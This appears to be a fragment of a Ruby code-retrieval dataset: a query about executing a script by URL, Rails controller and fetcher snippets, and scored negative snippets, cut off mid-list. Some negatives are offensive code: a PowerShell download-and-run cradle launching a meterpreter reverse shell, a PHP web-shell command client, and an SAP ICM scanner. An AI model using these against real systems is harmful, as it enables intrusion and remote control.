"def fetch(url)\n\tputs \"now fetchin \" + url\n\tresponse = \"\"\n\tfilename = \"cache/\" + url.split(\"/\")[-1]\n\t\n\tbegin\n\t#If the file doesn't exist, download it\n\t if ! File.exists?(filename)\n\t open(url) { |f| response = f.read }\n\t File.open(filename, 'w') {|f| f.write(response) }\n # Give the website a break\n sleep(5)\n\t end\n\t \n # Open the saved file eitherway\n open(filename) { |f| response = f.read }\n\t thedoc = Hpricot(response)\n\n\trescue Exception => e\n\t print e, \"\\n\"\n\t debugger\n\tend\n\treturn thedoc\nend"
] | [
"0.6601394",
"0.6477018",
"0.6313268",
"0.62140787",
"0.6207827",
"0.6207827",
"0.61791366",
"0.61791366",
"0.60919094",
"0.5984265",
"0.5966487",
"0.5835891",
"0.579875",
"0.578373",
"0.5777577",
"0.5775059",
"0.5757025",
"0.5745799",
"0.5731728",
"0.568103",
"0.5661622",
"0.5661332",
"0.56465703",
"0.5622302",
"0.5609589",
"0.5609013",
"0.560594",
"0.55864304",
"0.55857503",
"0.55154693",
"0.5514472",
"0.55133504",
"0.5504828",
"0.5487799",
"0.5482291",
"0.54625666",
"0.5445132",
"0.54328775",
"0.5429732",
"0.5412659",
"0.54112154",
"0.54090434",
"0.54024893",
"0.53958803",
"0.53946316",
"0.5390855",
"0.538969",
"0.53892976",
"0.53590417",
"0.53527856",
"0.5351817",
"0.53511345",
"0.534772",
"0.53334403",
"0.53334403",
"0.5327479",
"0.53208596",
"0.5320112",
"0.53143954",
"0.5312546",
"0.53111035",
"0.5309958",
"0.5308476",
"0.5307972",
"0.5304152",
"0.5272987",
"0.5253687",
"0.52500516",
"0.52486867",
"0.5248004",
"0.5246949",
"0.52453697",
"0.52441484",
"0.5237202",
"0.52371126",
"0.52325964",
"0.522484",
"0.5214478",
"0.52010024",
"0.51971084",
"0.5196057",
"0.5190729",
"0.5185373",
"0.516639",
"0.51642984",
"0.51616645",
"0.5158921",
"0.51584756",
"0.5157304",
"0.5156219",
"0.5154243",
"0.51469195",
"0.51469195",
"0.5146277",
"0.51427424",
"0.51381296",
"0.51314914",
"0.5122925",
"0.51210964",
"0.5120136",
"0.5111567"
] | 0.0 | -1 |
execute this script by using the url " | def random_view
if GameController::USE_MEMCACHED
xprev = Cache.get("scalability_test_random_view_x")
yprev = Cache.get("scalability_test_random_view_y")
if (xprev != nil && yprev != nil)
xpos = xprev
ypos = yprev
else
xpos = (rand() * 100 + ScalabilityTest::TEST_NEWUSER_STARTX).to_i
ypos = (rand() * 100 + ScalabilityTest::TEST_NEWUSER_STARTY).to_i
Cache.put("scalability_test_random_view_x", xpos, 30)
Cache.put("scalability_test_random_view_y", ypos, 30)
end
else
xpos = (rand() * 100 + ScalabilityTest::TEST_NEWUSER_STARTX).to_i
ypos = (rand() * 100 + ScalabilityTest::TEST_NEWUSER_STARTY).to_i
end
if GameController::USE_MEMCACHED
if Zone.MEMCACHED_ViewportSame(xpos, xpos + ScalabilityTest::VIEW_W, ypos, ypos + ScalabilityTest::VIEW_H)
@zonedata_str = Zone.MEMCACHED_LoadZoneXML
else
@zonedata = Zone.find_zones_in_view_xml(xpos, xpos + ScalabilityTest::VIEW_W, ypos, ypos + ScalabilityTest::VIEW_H)
@zonedata_str = Zone.MEMCACHED_SaveZoneXML(xpos, xpos + ScalabilityTest::VIEW_W, ypos, ypos + ScalabilityTest::VIEW_H, @zonedata)
end
else
@zonedata = Zone.find_zones_in_view_xml(xpos, xpos + ScalabilityTest::VIEW_W, ypos, ypos + ScalabilityTest::VIEW_H)
end
#cache will be effective for 30 seconds
respond_to do |format|
format.xml { render :layout => false}
end
# redirect_to( :controller => "users", :action => "index" )
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def exec loc, script, params = {}\n params.merge! :script => script, :loc => loc\n http :post, \"/exec\", params\n end",
"def script\n # escape command parameter\n params[:command] = params[:command].gsub('..', '').gsub(';', '');\n\n ret = @uri.script(params[:command].split(',')[0], params[:command].split(',')[1])\n render plain: ret[:message], status: ret[:status]\n end",
"def execute_script(script, *args); end",
"def execute script\n native.execute_script script\n end",
"def open url\r\n command 'open', url_arg(url)\r\n end",
"def open url\r\n command 'open', url_arg(url)\r\n end",
"def script; end",
"def script; end",
"def perform(url)\n scrape_url(url)\n end",
"def cmd\n c = [\"open #{page_url}\"]\n c << argument_string(unknown_options) unless unknown_options.empty?\n c.join(\"\\n\")\n end",
"def run(iContent)\n lError = launchURL(iContent)\n if (lError != nil)\n log_err lError\n end\n end",
"def run_script\n Script.new(instructions, storage, self).execute\n end",
"def web\n Minimart::Commands::Web.new(options).execute!\n\n rescue Minimart::Error::BaseError => e\n Minimart::Error.handle_exception(e)\n end",
"def execute_script(filename)\n\tif File.exist?(filename) \n\t\t execute_query File.read(filename),\n\t\t\t{ :db_name => @properties[\"ml.content-db\"] }\t\t\t\n\t\t\tlogger.info \"Executed script #{filename} successfully\"\n\telse\n\t\tlogger.info \"#{filename} does not exist\"\t\n\tend\n end",
"def execute_script(file)\n abspath = ::File.expand_path(file,@pwd.full_path)\n execute(Rush::File.new(abspath).contents)\n end",
"def run\n\t\treq = Net::HTTP::Put.new(uri.path)\n\t\treq.body = query_string\n\t\tres = Net::HTTP.start(url.host, url.port) { |http|\n\t\t http.request(req)\n\t\t}\n\t\tres.body\n\tend",
"def execute(xml)\n\t\tAPIRequest.execute(url,xml.to_s)\n\tend",
"def script_load(script); end",
"def exec_script(script_text)\n response = api_post_request('/scriptText', {'script' => script_text}, true)\n response.body\n end",
"def execute_async_script(script, *args); end",
"def launch(url)\n Java::limelight.Context.instance.os.launch(url)\n end",
"def go()\n\[email protected] @url\n end",
"def execute_script(script, *args)\n bridge.execute_script(script, *args)\n end",
"def go_to(url)\n driver.get url\n end",
"def execute\n @result = MdnQuery::SearchResult.from_url(url)\n end",
"def browse(url)\n if RUBY_PLATFORM =~ /darwin/\n `open #{url}`\n elsif ENV['OS'] == 'Windows_NT' or\n RUBY_PLATFORM =~ /djgpp|(cyg|ms|bcc)win|mingw|wince/i\n `start \"\" \"#{url}\"`\n end\n end",
"def blog\n system(\"open #{blog_url}\")\n end",
"def execute_call_plain(url)\n res = Net::HTTP.get_response(URI.parse(url))\n case res\n when Net::HTTPRedirection\n # Return the new URL\n res['location']\n when Net::HTTPSuccess\n res.body\n else\n raise TransportError.new(res)\n end\n end",
"def browse(url)\n if RUBY_PLATFORM =~ /darwin/\n `open #{url}`\n elsif RUBY_PLATFORM =~ /linux/\n `#{ENV['BROWSER']} #{url}`\n elsif ENV['OS'] == 'Windows_NT' or\n RUBY_PLATFORM =~ /djgpp|(cyg|ms|bcc)win|mingw|wince/i\n `start \"\" \"#{url}\"`\n end\n end",
"def eval script\n # native function. this stub is for documenting only\n end",
"def execute_script(path)\n response = `ruby #{path} #{post_body}`\n if !! ($?.to_s =~ /1$/)\n raise ProcessingError\n else\n response\n end\n end",
"def url(argv)\n require 'uri'\n\n arg = argv[8..-1]\n arg.gsub!(\"#\",\"%23\")\n pdf, page = arg.split(\"%23\")\n\n # check if this is my page, or someone else's\n if My_domains.index( URI.parse(cururl).host )\n fname = \"#{PDF_path}/#{pdf}.pdf\"\n else\n fname = try { get_pdf_from_refpage }\n fail \"Not able to automatically download PDF\" unless fname\n end\n\n if File.exists?(fname)\n skim = Appscript.app('skim')\n dd = skim.open(fname)\n dd.go({:to => dd.pages.get[page.to_i-1]}) unless page == nil\n skim.activate\n else\n growl(\"File not found\", \"Cannot find PDF #{fname}\")\n end\nend",
"def execute_script(script, *args)\n driver.execute_script(script, *args)\n end",
"def run\n puts url\n html = Games::FetchHtml.run(url: url)\n games = parse_html(html)\n return \"No data for #{date} #{sport}\" if games.nil?\n save_wunder_data(games)\n end",
"def run_script(scriptname, params)\n body = request(:post, \"script/#{scriptname}/run\", 'text/plain', params)\n JSON.parse(body)['result']\n end",
"def run\n super\n\n entity_name = _get_entity_name\n opt_create_entities = _get_option(\"create_entities\")\n \n # Make sure the key is set\n api_key = _get_task_config(\"publicwww_api_key\")\n\n # special case google analytics, as we can find interesting things by not \n # sending the last bit of the key\n if entity_name =~ /^ua-.*$/i\n entity_name = entity_name.split(\"-\")[0..-2].join(\"-\")\n _log \"Dropping trailing part of google user agent: #{entity_name}\"\n end\n\n\n # Craft the UniqueToken search URL to export\n query_url = \"https://publicwww.com/websites/%22#{entity_name}-%22/?export=urls&key=#{api_key}\"\n \n # Download the xport\n download = http_get_body(query_url)\n \n # read the file results\n download.split(\"\\n\").each do |found_url|\n _create_entity(\"Uri\" , \"name\" => found_url) if opt_create_entities\n end\n\n # store links as an extended detail\n _set_entity_detail(\"public_www_results\", { entity_name => download.split(\"\\n\")[1..30] } )\n\n end",
"def goto(url)\r\n #set_defaults()\r\n get_window_number()\r\n set_browser_document()\r\n # Load the given url.\r\n $jssh_socket.send(\"#{BROWSER_VAR}.loadURI(\\\"#{url}\\\");\\n\" , 0)\r\n read_socket()\r\n\r\n wait()\r\n end",
"def download_bandcamp_url(folder_name, url)\n \"cd audio/#{folder_name} && ruby ../../scripts/bandcamp_downloader/bandcamp_downloader.rb #{url}\"\n end",
"def download_youtube_url(folder_name, url)\n \"ruby ./scripts/youtube-audio-downloader/youtube-audio.rb url #{url} ./audio/#{folder_name}\"\n end",
"def loadfile _file_url, _append\n send_cmd(\"loadfile #{_file_url} #{_append}\")\n end",
"def run(robot, script)\n\nend",
"def run\n make_request(@path)\n end",
"def execute_script(*args)\n raises_error { __getobj__.execute_script(*args) }\n end",
"def execute(url_chunk, additional_options = {})\n request = ::Typhoeus::Request.new(\n Addressable::URI.escape(\"#{service_url}/#{url_chunk}\"),\n options[:typhoeus].merge({ method: :get\n })\n .merge(additional_options)\n )\n request.run\n response = request.response\n validate_response(response)\n response\n end",
"def execute\n # Generate the shell script that will run WEACEExecute.\n File.open(\"#{@ProviderEnv[:Shell][:InternalDirectory]}/Test_Broadcast.sh\", 'w') do |oFile|\n oFile << \"\\#!/bin/sh\n#{@ProviderEnv[:WEACEExecuteCmd]} MasterServer --user Scripts_Tester --process Test_Broadcast -- --comment $1\n\"\n end\n\n return nil\n end",
"def openurl(url)\n runcmd 'openurl', url\n end",
"def run_result; result['run_cyber_dojo_sh']; end",
"def run_host(ip)\n\t\t# If URLFILE is set empty, obviously the user made a silly mistake\n\t\tif datastore['URLFILE'].empty?\n\t\t\tprint_error(\"Please specify a URLFILE\")\n\t\t\treturn\n\t\tend\n\n\t\t# Initialize the actual URLFILE path\n\t\tif datastore['URLFILE'] == \"sap_icm_paths.txt\"\n\t\t\turl_file = \"#{Msf::Config.data_directory}/wordlists/#{datastore['URLFILE']}\"\n\t\telse\n\t\t\t# Not the default sap_icm_paths file\n\t\t\turl_file = datastore['URLFILE']\n\t\tend\n\n\t\t# If URLFILE path doesn't exist, no point to continue the rest of the script\n\t\tif not File.exists?(url_file)\n\t\t\tprint_error(\"Required URL list #{url_file} was not found\")\n\t\t\treturn\n\t\tend\n\n\t\tres = send_request_cgi(\n\t\t\t{\n\t\t\t\t'uri' => \"/\" + Rex::Text.rand_text_alpha(12),\n\t\t\t\t'method' => 'GET',\n\t\t\t\t'ctype' => 'text/plain',\n\t\t\t}, 20)\n\n\t\tif res\n\t\t\tprint_status(\"Note: Please note these URLs may or may not be of interest based on server configuration\")\n\t\t\t@info = []\n\t\t\tif not res.headers['Server'].nil?\n\t\t\t\t@info << res.headers['Server']\n\t\t\t\tprint_status(\"#{rhost}:#{rport} Server responded with the following Server Header: #{@info[0]}\")\n\t\t\telse\n\t\t\t\tprint_status(\"#{rhost}:#{rport} Server responded with a blank or missing Server Header\")\n\t\t\tend\n\n\t\t\tif (res.body and /class=\"note\">(.*)code:(.*)</i.match(res.body) )\n\t\t\t\tprint_error(\"#{rhost}:#{rport} SAP ICM error message: #{$2}\")\n\t\t\tend\n\n\t\t\t# Load URLs\n\t\t\turls_to_check = []\n\t\t\tf = File.open(url_file)\n\t\t\tf.each_line do |line|\n\t\t\t\turls_to_check.push line\n\t\t\tend\n\n\t\t\tprint_status(\"#{rhost}:#{rport} Beginning URL check\")\n\t\t\turls_to_check.each do |url|\n\t\t\t\tcheck_url(url.strip)\n\t\t\tend\n\t\telse\n\t\t\tprint_error(\"#{rhost}:#{rport} No response received\")\n\t\tend\n\n\tend",
"def background_visit(url, opts = {})\r\n require 'httpclient'\r\n begin\r\n client = HTTPClient.new\r\n if url && url =~ /^http/\r\n http_response = client.get(url).body\r\n else\r\n base_url = $TESTWISE_PROJECT_BASE_URL || $TESTWISE_PROJECT_BASE_URL || $BASE_URL\r\n http_response = client.get(\"#{base_url}#{url}\").body\r\n end\r\n\t\t\t\t\r\n\t\t\t\thttp_response = http_response.content if http_response.respond_to?(\"content\")\r\n rescue => e\r\n raise e\r\n end\r\n end",
"def action(type)\n ENV[\"runner_path\"] = $runner_path\n\n dirname = File.dirname(File.expand_path(__FILE__))\n script = File.join(dirname, \"action.py\")\n\n puts \"Calling python script: #{script} #{type}\"\n exec(\"python\", script, type, *$items)\nend",
"def agi_url\r\n script = @params['agi_network_script']\r\n return \"/#{script}\"\r\n\tend",
"def script(script_file)\n load script_file\n\n self\n end",
"def usage\n puts \"$ #{__FILE__} SRC_PATH TARGET_PATH THREAD_COUNT\"\n puts \"$ #{__FILE__} user.url . 8\"\n exit\nend",
"def exec; end",
"def exec; end",
"def exec_request\n @urls.map { |url| fetch(url) }\n end",
"def execute_file( filename )\n text = File.read(filename)\n execute(text)\n end",
"def ab_command\n \"ab -r -e #{export_file_name} -n #{requests} -c #{concurrency} #{url}\"\n end",
"def originate url, args={}, &block\n extension = args.delete(:extension)\n dialplan = args.delete(:dialplan)\n context = args.delete(:context)\n\n vars = args.map {|k,v| \"#{k}=#{v}\"}.join(\",\")\n\n arg_string = \"{#{vars}}\" + \n [url, extension, dialplan, context].compact.join(\" \")\n command \"originate\", arg_string, &block\n end",
"def load_library\n\t\t#wget some url\n\tend",
"def open_url(code)\n url = URL+code\n puts url\n open(url).read\n end",
"def help\n puts \"usage: #{@script} --site [URL]\"\n puts\n puts \" --site the site name to save the site\"\nend",
"def get(url); end",
"def browse url\n @@headless = Headless.new\n @@headless.start\n @@browser = Watir::Browser.start url\n end",
"def execute_command\n begin\n if @cgi.has_key?('type') then\n doc = REXML::Document.new\n command = doc.add_element 'COMMAND'\n @cgi.params.each_pair { |key,value| command.attributes[key]=value}\n xmlCommand = doc.to_s\n socket = TCPSocket.new(@host,@port)\n socket.puts xmlCommand \n xmlResult = socket.gets.chop\n docResult = REXML::Document.new xmlResult\n end\n rescue\n puts 'Probleem bij uitvoeren commando'\n exit\n end\n end",
"def execute_request(method, url, opts = {})\n server.execute_request(\n method,\n [name, url.sub(/^\\//, '')].join('/'),\n opts.merge(username: username, password: password))\n end",
"def run\n html = URI.open(URL).read\n document = Nokogiri::HTML(html)\n storage = Storage.new(Procedure)\n \n Procedure.transaction do\n BLOCKS.each do |block|\n procedures = block.new(document).run\n storage.save procedures\n end\n end\n end",
"def script(name, param = nil)\n self.script_request.new(self.seed, name, param)\n end",
"def execute_script(file_name, conn, keys, argv)\n conn.evalsha(\n script_sha(conn, file_name),\n keys,\n argv,\n )\n end",
"def run_script\n %[timeout $((PBS_WALLTIME-300)) \"#{script}\"]\n end",
"def exec(query)\n data = make_args(query) \n\n begin\n result, = Net::HTTP.new(@host).post(@path, data)\n @report = result.body\n output = parse_report(@report)\n end\n\n return output\n end",
"def run(url, headers, req_type, data = nil, sql = false)\n begin\n uri = URI.parse(url)\n http = Net::HTTP.new(uri.host, uri.port)\n if uri.port.to_s == \"443\"\n http.use_ssl = true\n end\n http.read_timeout = @timeout\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n requester = nil\n parsed_data = data\n\n if !sql \n parsed_data = data.to_json\n end\n\n if req_type == \"post\"\n requester = Net::HTTP::Post.new(uri.request_uri, initheader = headers)\n requester.body = parsed_data\n elsif req_type == \"put\"\n requester = Net::HTTP::Put.new(uri.request_uri, initheader = headers)\n requester.body = parsed_data\n elsif req_type == \"get\"\n requester = Net::HTTP::Get.new(uri.request_uri, initheader = headers)\n elsif req_type == \"delete\"\n requester = Net::HTTP::Delete.new(uri.request_uri, initheader = headers)\n end\n http.request(requester)\n rescue Timeout::Error, Errno::EINVAL,\n Errno::ECONNRESET, EOFError, Net::HTTPBadResponse,\n Net::HTTPHeaderSyntaxError, Net::ProtocolError => e\n raise e\n end\n end",
"def perform_execute_request(data = {})\n execute_recipe(version, data)\n end",
"def load_script(file); end",
"def execute\n options = {\n method: :post,\n timeout: 6000,\n open_timeout: 6000,\n accept: :schema\n }\n options.merge!(url: @url, payload: @html)\n begin\n res = RestClient::Request.execute(options).to_str\n @response = JSON.parse(res)\n rescue => e\n puts \"some problems with #{@url}\"\n puts e\n nil\n end\n end",
"def execution_url\n requires :links\n link = links.find { |l| l['rel'] == 'capability' }\n link['href'] rescue nil\n end",
"def run\n @uri = urlize()\n validate_content validate_url( @uri, 'rt' ).read\n end",
"def open_url(url)\n if RbConfig::CONFIG['host_os'] =~ /darwin/\n system %(open \"#{url}\")\n elsif RbConfig::CONFIG['host_os'] =~ /linux|bsd/\n system %(xdg-open \"#{url}\")\n else\n puts 'Not Supported OS!'.red\n end\n end",
"def execute(url_chunk, options = {})\n options = (@options[:request] || {}).merge(options)\n Request.new(self, url_chunk, options).execute\n end",
"def job(url)\n server(url).job(URI(url).path)\n end",
"def execute_script filename\n # script_path = '~/.config/cetus/scripts'\n script_path = File.join(CONFIG_PATH, 'cetus', 'scripts')\n script = File.expand_path(File.join(script_path, filename))\n unless File.exist? script\n perror \"Unable to find #{filename}: #{script}\"\n return\n end\n\n scripts script\nend",
"def do_get url\n\t\turi = URI.parse(url)\n\t\tNet::HTTP.get_response(uri)\n\tend",
"def execute_script(script, *args)\n args.map! { |item| item.class == Locatine::Element ? item.answer : item }\n response = api_request('/execute/sync', 'Post',\n { script: script, args: args }.to_json).body\n value = JSON.parse(response, max_nesting: false)['value']\n error_present = (value.class == Hash) && value['error']\n raise_script_error(script, args, value) if error_present\n\n value\n end",
"def simple_shell(id, url)\n print_line(\"\")\n prompt = \"(CommanD)> \"\n http = EasyCurb.new\n while line = Readline.readline(\"#{prompt}\", true)\n cmd = line.chomp\n case cmd\n when /^exit|^quit/i\n print_line(\"\")\n print_error(\"OK, exiting pseudo shell....\")\n print_caution(\"In case you were wondering, to connect via Curl: \")\n case id\n when 1\n print_line(\"SYSTEM SHELL:\\ncurl -s http://site.com/path/2/shell.php?foo=<INSERT_CMD_HERE>\")\n when 2\n print_line(\"EVAL SHELL:\\ncurl -s http://site.com/path/2/shell.php?foo=<INSERT_BASE64_ENCODED_PHP-CMD_HERE>\")\n when 3\n print_line(\"PASSTHRU HEADER SHELL:\\ncurl -s http://site.com/path/2/shell.php -H \\\"FOO: <INSERT_BASE64_ENCODED_CMD_HERE>\\\"\")\n when 4\n print_line(\"CREATE_FUNCTION EVAL HEADER SHELL:\\ncurl -s http://site.com/path/2/shell.php -H \\\"FOO: <INSERT_BASE64_ENCODED_PHP-CMD_HERE>\\\"\")\n end\n print_error(\"Returning to Main Menu...\")\n break\n else\n case id\n when 1\n link = url + \"?foo=#{cmd.space2plus}\"\n when 2\n code = Base64.encode64(cmd)\n link = url + \"?foo=#{code.chomp}\"\n when 3\n code = Base64.encode64(cmd)\n $config['HTTP']['HTTP_HEADERS_ADD']=true\n $config['HTTP']['HTTP_HEADERS'].store('FOO', code.chomp)\n link = url\n when 4\n code = Base64.encode64(cmd)\n $config['HTTP']['HTTP_HEADERS_ADD']=true\n $config['HTTP']['HTTP_HEADERS'].store('FOO', code.chomp)\n link = url\n end\n rez = http.get(link)\n if rez[0] =~ /___(.+)/m\n res=$1.chomp\n if res != ''\n cmd_results=rez[0].split(\"__\")[1]\n print_line(\"#{cmd_results.sub('_', '').chomp}\") unless cmd_results.nil? or cmd_results == '_'\n print_line(\"\") if cmd_results.nil? or cmd_results == '_'\n print_error(\"No Results Found in Output!\") if cmd_results.nil? or cmd_results == '_'\n print_line(\"\")\n else\n print_line(\"\")\n print_error(\"No Results Found in Output!\")\n print_line(\"\")\n end\n else\n print_line(\"\")\n print_error(\"No Results Found in Output!\")\n print_line(\"\")\n end\n $config['HTTP']['HTTP_HEADERS_ADD']=false\n end\n end\n end",
"def run_script(script)\n begin\n instance_eval(script)\n rescue\n @result.add_failure $!\n end\n end",
"def url_command(template:, path:, count: nil, parameters: {}, data: nil)\n query = parameters.map { |k, v| encode(k) + \"=\" + encode(v) }.join(\"&\")\n query = (path =~ /\\?/ ? \"&\" : \"?\") + query unless query.empty?\n \"#{data or @cat} | #{@run} url template #{shell_quoted(template)} prefix #{shell_quoted(path)} suffix #{shell_quoted(query)}#{\" count #{count}\" if count}\"\n end",
"def fetch(url) \n puts \"Fetching url #{url}\";\n str = `curl -silent \"#{url}\"`\n return str\nend",
"def setup\n url = \"\"\n start = \"\"\n final = \"\"\n execute = false\n\n puts \"Please enter base URL format.\"\n url = gets.chomp\n puts \"Start number?\"\n start = gets.chomp\n puts \"Final number?\"\n final = gets.chomp\n puts confirmation(url, start, final)\n execute = true if gets.chomp == \"\"\n if execute == false\n setup\n elsif execute == true\n # run\n end\n end",
"def command_exec(session,lhost,lport)\n print_status(\"Running Invoke-Shellcode, Please wait 4-7 seconds.\")\n r=''\n begin\n r = session.sys.process.execute(\"C:\\\\WINDOWS\\\\system32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe -Command iex(New-Object Net.WebClient).DownloadString('http://URLHERE');Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost #{lhost} -Lport #{lport} -Force\", nil, {'Hidden' => true, 'Channelized' => true})\n r.channel.close\n r.close\n rescue ::Exception => e\n print_error(\"Error Running Invoke-Shellcode, Sounds like a problem between the keyboard and the monitor.....: #{e.class} #{e}\")\n end\nend",
"def run_request(method, url, body, headers); end",
"def bind(url); end",
"def execute_command(cmd, options = {})\n active_window.do_script(cmd, options)\n end",
"def execute_command(cmd, options = {})\n active_window.do_script(cmd, options)\n end",
"def run(url, run_context)\n results = []\n\n unless (url =~ URI::regexp).nil?\n update_resource url\n end\n \n @creation_commands.each do |cmd|\n begin\n cmd.call(results)\n rescue \n puts \"Whoops! #{$!}\" \n end\n end\n\n return results\n end",
"def url\n \"#{JabberAdmin.configuration.url.strip.chomp('/')}/#{@command}\"\n end",
"def ws_go args\n\t\tget_alert\n\t\turl = args[:url].should_not!(:be_nil).should_not!(:be_empty)\n\t\turl = (url =~ /(^http:)|(^file:)/) ? url : \"http://#{url}\"\n\t\t\n\t\[email protected] url\n\t\twait_for_load\n\t\treturn \"\"\n\tend",
"def execute(command)\n begin\n puts \"* Executing command '#{command}' for the Github API\"\n Timeout.timeout(35) do\n http = Net::HTTP.new(\"github.com\", 80)\n response, content = http.get(\"/api/v1/yaml/#{@user}/#{@repo}/#{command}\")\n content\n end\n rescue Exception => e\n puts \"[!] Error when connecting to Github API (Message: #{e.message})\"\n nil\n end\n end",
"def run_cmd(cmd)\n req = JsonRequest.new(\"exec\", cmd.to_hash)\n return req.exec(agent_uri)\n end",
"def script=(_arg0); end",
"def scdisplay(id)\n\thttp = Net::HTTP.new(\"shell-storm.org\", 80)\n\treq = Net::HTTP::Get.new(\"/shellcode/files/shellcode-#{id}.php\", {'User-Agent' => 'Shell-Storm Ruby API - Display'})\n\tres = http.request(req)\n\tcase res\n\twhen Net::HTTPSuccess then\n\t\tputs \"#{HC}#{FGRN}[#{FWHT}*#{FGRN}] Displaying#{FWHT}: http://shell-storm.org/shellcode/files/shellcode-#{id}.php#{FCYN}\"\n\t\tputs res.body.split(\"\\n\")[7..-13].join(\"\\n\").gsub('"', '\"').gsub('>', '>').gsub('<', '<').gsub('&', '&')\n\t\tputs \"#{RS}\"\n\telse\n\t\tputs \"#{HC}#{FRED}Seems we made a bad request somehow#{FWHT}....#{RS}\"\n\t\tputs res.value\n\tend\nend",
"def run_script(path, script, *cli_params)\n on primary :backend do |host|\n within path do\n unless test \" [ -e #{script} ] \"\n error I18n.t('resource.not_exists_on_host', resource: script, host: host.hostname, scope: :dkdeploy)\n next\n end\n\n with fetch(:typo3_environment_cli) do\n execute :php, script, *cli_params\n end\n end\n end\n end"
] | [
"0.66025037",
"0.6477993",
"0.63171273",
"0.62181985",
"0.6205764",
"0.6205764",
"0.61818856",
"0.61818856",
"0.6088451",
"0.5982234",
"0.59651244",
"0.5839875",
"0.5797022",
"0.5786959",
"0.57803434",
"0.577235",
"0.5756304",
"0.5748083",
"0.57353514",
"0.5684458",
"0.5661892",
"0.5658985",
"0.5650469",
"0.5618488",
"0.5607761",
"0.56074333",
"0.56034744",
"0.5584776",
"0.5584575",
"0.55182827",
"0.5516548",
"0.5510461",
"0.5507575",
"0.54863036",
"0.54852873",
"0.5460992",
"0.54432094",
"0.54317683",
"0.54286075",
"0.5412255",
"0.54103416",
"0.54080784",
"0.54067796",
"0.53940976",
"0.53938323",
"0.5393496",
"0.5390899",
"0.53887546",
"0.53543264",
"0.5352355",
"0.5352136",
"0.5350692",
"0.5350059",
"0.53356117",
"0.53356117",
"0.532461",
"0.5321774",
"0.53213483",
"0.5312538",
"0.5310847",
"0.5308447",
"0.530701",
"0.53059214",
"0.53054935",
"0.53053665",
"0.5271592",
"0.5253073",
"0.5252877",
"0.52522343",
"0.52485734",
"0.5246941",
"0.5245848",
"0.5244303",
"0.52394044",
"0.52346504",
"0.5229453",
"0.52218276",
"0.52135205",
"0.5200717",
"0.51946515",
"0.5194007",
"0.5193013",
"0.51883304",
"0.51661664",
"0.5162148",
"0.51614976",
"0.51596075",
"0.5157834",
"0.51558465",
"0.5154197",
"0.51540715",
"0.5150346",
"0.5150346",
"0.5144634",
"0.5141353",
"0.5135835",
"0.51301426",
"0.51232857",
"0.5123133",
"0.51198727",
"0.5111194"
] | 0.0 | -1 |
execute this script by using the url " | def random_operation
@user = User.find_by_id( session[:user_id] )
if @user == nil
redirect_to( :controller => "users", :action => "index" )
else
if (@user.avg_soldiers_per_zone < 1)
#UserZone.train_soldiers(@user.id, GameRules::TURNS_PER_TRAINING)
else
@result = ScalabilityTest.random_expand_or_attack(@user.id, :MODE_EXPAND_ATTACK)
if @result != true
flash[:notice] = @result
end
end
redirect_to( :controller => "zones", :action => "index" )
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def exec loc, script, params = {}\n params.merge! :script => script, :loc => loc\n http :post, \"/exec\", params\n end",
"def script\n # escape command parameter\n params[:command] = params[:command].gsub('..', '').gsub(';', '');\n\n ret = @uri.script(params[:command].split(',')[0], params[:command].split(',')[1])\n render plain: ret[:message], status: ret[:status]\n end",
"def execute_script(script, *args); end",
"def execute script\n native.execute_script script\n end",
"def open url\r\n command 'open', url_arg(url)\r\n end",
"def open url\r\n command 'open', url_arg(url)\r\n end",
"def script; end",
"def script; end",
"def perform(url)\n scrape_url(url)\n end",
"def cmd\n c = [\"open #{page_url}\"]\n c << argument_string(unknown_options) unless unknown_options.empty?\n c.join(\"\\n\")\n end",
"def run(iContent)\n lError = launchURL(iContent)\n if (lError != nil)\n log_err lError\n end\n end",
"def run_script\n Script.new(instructions, storage, self).execute\n end",
"def web\n Minimart::Commands::Web.new(options).execute!\n\n rescue Minimart::Error::BaseError => e\n Minimart::Error.handle_exception(e)\n end",
"def execute_script(filename)\n\tif File.exist?(filename) \n\t\t execute_query File.read(filename),\n\t\t\t{ :db_name => @properties[\"ml.content-db\"] }\t\t\t\n\t\t\tlogger.info \"Executed script #{filename} successfully\"\n\telse\n\t\tlogger.info \"#{filename} does not exist\"\t\n\tend\n end",
"def execute_script(file)\n abspath = ::File.expand_path(file,@pwd.full_path)\n execute(Rush::File.new(abspath).contents)\n end",
"def run\n\t\treq = Net::HTTP::Put.new(uri.path)\n\t\treq.body = query_string\n\t\tres = Net::HTTP.start(url.host, url.port) { |http|\n\t\t http.request(req)\n\t\t}\n\t\tres.body\n\tend",
"def execute(xml)\n\t\tAPIRequest.execute(url,xml.to_s)\n\tend",
"def script_load(script); end",
"def exec_script(script_text)\n response = api_post_request('/scriptText', {'script' => script_text}, true)\n response.body\n end",
"def execute_async_script(script, *args); end",
"def launch(url)\n Java::limelight.Context.instance.os.launch(url)\n end",
"def go()\n\[email protected] @url\n end",
"def execute_script(script, *args)\n bridge.execute_script(script, *args)\n end",
"def go_to(url)\n driver.get url\n end",
"def execute\n @result = MdnQuery::SearchResult.from_url(url)\n end",
"def browse(url)\n if RUBY_PLATFORM =~ /darwin/\n `open #{url}`\n elsif ENV['OS'] == 'Windows_NT' or\n RUBY_PLATFORM =~ /djgpp|(cyg|ms|bcc)win|mingw|wince/i\n `start \"\" \"#{url}\"`\n end\n end",
"def blog\n system(\"open #{blog_url}\")\n end",
"def browse(url)\n if RUBY_PLATFORM =~ /darwin/\n `open #{url}`\n elsif RUBY_PLATFORM =~ /linux/\n `#{ENV['BROWSER']} #{url}`\n elsif ENV['OS'] == 'Windows_NT' or\n RUBY_PLATFORM =~ /djgpp|(cyg|ms|bcc)win|mingw|wince/i\n `start \"\" \"#{url}\"`\n end\n end",
"def execute_call_plain(url)\n res = Net::HTTP.get_response(URI.parse(url))\n case res\n when Net::HTTPRedirection\n # Return the new URL\n res['location']\n when Net::HTTPSuccess\n res.body\n else\n raise TransportError.new(res)\n end\n end",
"def eval script\n # native function. this stub is for documenting only\n end",
"def execute_script(path)\n response = `ruby #{path} #{post_body}`\n if !! ($?.to_s =~ /1$/)\n raise ProcessingError\n else\n response\n end\n end",
